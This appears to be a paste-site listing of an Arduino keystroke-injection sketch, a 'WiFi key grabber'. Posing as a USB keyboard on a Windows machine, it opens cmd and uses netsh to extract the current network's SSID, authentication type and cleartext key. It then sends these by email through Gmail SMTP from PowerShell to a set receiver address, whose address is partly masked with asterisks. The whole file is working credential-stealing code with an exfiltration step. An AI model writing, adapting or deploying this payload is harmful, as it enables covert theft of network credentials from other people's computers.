· 8 years ago · Jun 04, 2018, 06:50 AM
1#include "Keyboard.h"
2
3void typeKey(int key)
4{
5 Keyboard.press(key);
6 delay(50);
7 Keyboard.release(key);
8}
9
10/* Init function */
11void setup()
12{
13 // Begining the Keyboard stream
14 Keyboard.begin();
15
16 // Wait 500ms
17 delay(500);
18
19 // FASE 1: Preparation
20 delay(3000);
21
22 // --> Minimize all windows
23 Keyboard.press(KEY_LEFT_GUI);
24 Keyboard.press('d');
25 Keyboard.releaseAll();
26
27 delay(250);
28
29 // --> Open cmd
30 Keyboard.press(KEY_LEFT_GUI);
31 Keyboard.press('r');
32 Keyboard.releaseAll();
33
34 delay(500);
35
36 Keyboard.print("cmd");
37
38 typeKey(KEY_RETURN);
39
40 delay(200);
41
42 // FASE 2: Information gathering
43 // --> Find the SSID and set 'a'
44 Keyboard.print("cd \"%USERPROFILE%\\Desktop\" & for /f \"tokens=2 delims=:\" %a in ('netsh wlan show interface ^| findstr \"SSID\" ^| findstr /v \"BSSID\"') do set a=%a");
45
46 typeKey(KEY_RETURN);
47
48 Keyboard.print("set a=\"%a:~1%\"");
49
50 typeKey(KEY_RETURN);
51
52 // --> Get raw info and set 'a'
53 Keyboard.print("netsh wlan show profiles %a% key=clear | findstr /c:\"Network type\" /c:\" Authentication\" /c:\"Key Content\"| findstr /v \"broadcast\"| findstr /v \"Radio\">>a");
54
55 typeKey(KEY_RETURN);
56
57 // --> Find the Network type in the raw info and set 'b'
58 Keyboard.print("for /f \"tokens=3 delims=: \" %a in ('findstr \"Network type\" a') do set b=%a");
59
60 typeKey(KEY_RETURN);
61
62 // --> Find the auth type in the raw info and set 'c'
63 Keyboard.print("for /f \"tokens=2 delims=: \" %a in ('findstr \" Authentication\" a') do set c=%a");
64
65 typeKey(KEY_RETURN);
66
67 // --> Find the key content in the raw info and set 'd'
68 Keyboard.print("for /f \"tokens=3 delims=: \" %a in ('findstr \"Key Content\" a') do set d=%a");
69
70 typeKey(KEY_RETURN);
71
72 // --> Delete raw info / 'a'
73 Keyboard.print("del a");
74
75 typeKey(KEY_RETURN);
76
77 // --> Write all info to log
78 Keyboard.print("echo ssid: %a%>>log & echo type: %b%>>log & echo auth: %c%>>log & echo key: %d%>>log");
79
80 typeKey(KEY_RETURN);
81
82 Keyboard.print("echo If all variables are empty there was no wireless connection>>log");
83
84 typeKey(KEY_RETURN);
85
86 Keyboard.print("echo If only the key variable is empty the payload requires UAC, or the authentication type isn't supported>>log");
87
88 typeKey(KEY_RETURN);
89
90 // FASE 3: Phone home
91 // --> Create an SMTP server with specified credentials and send log to specified receiver
92 Keyboard.print("powershell");
93
94 typeKey(KEY_RETURN);
95
96 Keyboard.print("$SMTPServer = 'smtp.gmail.com'");
97
98 typeKey(KEY_RETURN);
99
100 Keyboard.print("$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)");
101
102 typeKey(KEY_RETURN);
103
104 Keyboard.print("$SMTPInfo.EnableSsl = $true");
105
106 typeKey(KEY_RETURN);
107
108 // --> Google account login, password must start with a lowercase letter
109 Keyboard.print("$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('******gmail.com', '******')");
110
111 typeKey(KEY_RETURN);
112
113 Keyboard.print("$ReportEmail = New-Object System.Net.Mail.MailMessage");
114
115 typeKey(KEY_RETURN);
116
117 Keyboard.print("$ReportEmail.From =*****@gmail.com'");
118
119 typeKey(KEY_RETURN);
120
121 // --> Log receiver
122 Keyboard.print("$ReportEmail.To.Add('*****@zbc.com')");
123
124 typeKey(KEY_RETURN);
125
126 Keyboard.print("$ReportEmail.Subject = 'WiFi key grabber'");
127
128 typeKey(KEY_RETURN);
129
130 Keyboard.print("$ReportEmail.Body = (Get-Content log | out-string)");
131
132 typeKey(KEY_RETURN);
133
134 Keyboard.print("$SMTPInfo.Send($ReportEmail)");
135
136 typeKey(KEY_RETURN);
137
138
139
140
141 // Ending stream
142 Keyboard.end();
143}
144
145/* Unused endless loop */
146void loop() {}